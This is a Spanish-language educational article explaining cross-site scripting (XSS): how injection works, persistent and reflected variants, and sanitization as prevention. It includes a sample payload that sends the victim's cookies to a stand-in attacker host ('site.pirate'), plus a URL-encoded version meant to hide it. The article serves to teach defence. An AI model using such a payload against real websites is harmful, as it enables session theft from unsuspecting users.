Ataque XSS: qué es, ejemplo, tipos y cómo evitarlos

Ataque XSS: qué es, ejemplo, tipos y cómo evitarlos

Los ataques por secuencias de comandos entre páginas web (también conocidos como XSS o CSS) son ataques dirigidos a las páginas web que muestran de forma dinámica el contenido de los usuarios sin verificar ni codificar la información ingresada por ellos. Este tipo de ataque obliga a la página web a mostrar el código HTML o los comandos ingresados por los usuarios.

¿Cómo se inyecta el código malicioso?

Es común que las páginas web muestren mensajes de información utilizando un parámetro ingresado por el usuario. El ejemplo más clásico es el de las "páginas de error 404". Algunas páginas modifican su comportamiento para mostrar un mensaje de error personalizado en el caso de que la página solicitada por el visitante no exista. En ciertas ocasiones, la página generada dinámicamente muestra el nombre de aquella que se solicita. A una página web con dicho error la llamaremos http://paginaweb.vulnerable. La solicitud de la URL de la página web http://pagina web.vulnerable/paginainexistente correspondiente a una página que no existe genera un mensaje de error que indica que la "página inexistente" no existe. Así, es posible mostrar lo que se desea remplazando "página inexistente" por cualquier otra cadena de caracteres. De esta forma, si el contenido suministrado por el usuario no se verifica, es posible mostrar un código HTML arbitrario en una página web para cambiar su apariencia, contenido o comportamiento.

Asimismo, la mayoría de los navegadores tienen la capacidad de interpretar las secuencias de comandos de las páginas web, incluso en otros lenguajes, como JavaScript, VBScript, Java, ActiveX o Flash. Las siguientes etiquetas HTML permiten incorporar secuencias de comandos ejecutables en una página web: <SCRIPT>, <OBJECT>, <APPLET> y <EMBED>. Así, un pirata informático puede inyectar un código arbitrario en una página para que se ejecute en el equipo del usuario (si la página web es vulnerable). Para ello, solo debe remplazar el valor del texto que se mostrará con una secuencia de comandos de modo que aparezca en la página web. Siempre y cuando el navegador del usuario esté configurado para ejecutar dichas secuencias de comandos, el código malicioso tendrá acceso a todos los datos compartidos por la página web y el servidor del usuario (cookies, campos de entrada, etc.).

¿Cuáles son las consecuencias debidas a la inyección de código malicioso?

Las vulnerabilidades de las secuencias de comandos entre páginas web permiten a los piratas informáticos recuperar datos intercambiados entre el usuario y las páginas web. Por ejemplo, el código inyectado en la página se puede usar para engañar al usuario y hacer que ingrese información de autenticación. Además, la secuencia de comandos inyectada puede direccionar al usuario a una página web controlada por el pirata informático, probablemente con la misma interfaz gráfica que la página web comprometida para engañar al usuario. En este contexto, la relación de confianza que existía entre el usuario y la página web se ve completamente comprometida.

¿En qué consiste la persistencia del ataque?

Cuando los datos ingresados por el usuario se almacenan en el servidor durante cierto período de tiempo (como en el caso de un foro de discusión, por ejemplo), el ataque se llama persistente. Todos los usuarios de la página web tienen acceso a la página donde se ha inyectado el código.

Los ataques denominados no persistentes se dirigen a páginas web dinámicas en las que una variable ingresada por el usuario se muestra como tal (por ejemplo, cuando aparece el nombre de usuario de la página actual o de la palabra ingresada en un campo de entrada). Para aprovechar esta vulnerabilidad, el atacante debe proporcionar a la víctima una URL modificada, transfiriendo el código que se debe ingresar como un parámetro. Sin embargo, debido a que una URL contiene código JavaScript y algunos elementos pueden resultarle sospechosos a la víctima, este ataque generalmente se realiza codificando los datos de la dirección URL para que el código inyectado permanezca oculto.

¿Cómo sería un ejemplo de un ataque XSS?

Supongamos que la página de inicio de es.ccm.net es vulnerable a un ataque por secuencia de comandos entre páginas web ya que en ella puede aparecer un mensaje de bienvenida con el nombre del usuario como un parámetro:

http://es.ccm.net/?nom=Jeff

Una persona malintencionada podría llevar a cabo un ataque XSS al proporcionar a la víctima una dirección que remplace el nombre "Jeff" con un código HTML. En especial, podría transferir el siguiente código JavaScript como un parámetro para direccionar al usuario a una página controlada por el pirata:

<SCRIPT> document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>

El código anterior recupera las cookies del usuario y las envía como parámetros a una secuencia de comandos CGI. El siguiente código transferido como un parámetro sería demasiado obvio:

http://es.ccm.net/?nom=<SCRIPT>document.location ='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>

No obstante, la codificación de la URL permite ocultar el ataque:

http://es.kioskea.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e

¿En qué consiste el ataque entre páginas?

En el ejemplo anterior, todo el script se pasó como un parámetro en la URL. El método GET, que permite pasar parámetros en las URL, tiene como limite una longitud de 255 caracteres. Gracias al atributo SRC de la etiqueta <SCRIPT>, es posible ejecutar un código malicioso almacenado en un script en un servidor remoto. Ya que es posible inyectar código desde una fuente remota, a este tipo de ataque se le denomina Cross-Site (entre páginas).

¿Cómo evitar los ataques XSS?

Los usuarios pueden protegerse contra ataques XSS configurando sus navegadores para impedir que se ejecuten lenguajes de secuencias de comando. En realidad, esto no brinda una solución óptima para el usuario, ya que muchas páginas web no funcionan adecuadamente cuando se prohíbe la ejecución de un código dinámico.

La única solución viable para impedir los ataques por secuencias de comandos entre páginas web consiste en diseñar páginas sin vulnerabilidades. Para ello, el diseñador debe verificar el formato de los datos ingresados por los usuarios y codificar los datos visibles del usuario remplazando los caracteres especiales con sus equivalentes en HTML.El término "sanitización" (sanitation en inglés) hace referencia a todas las acciones que contribuyen a proteger los datos ingresados. 

Guías de ciberseguridad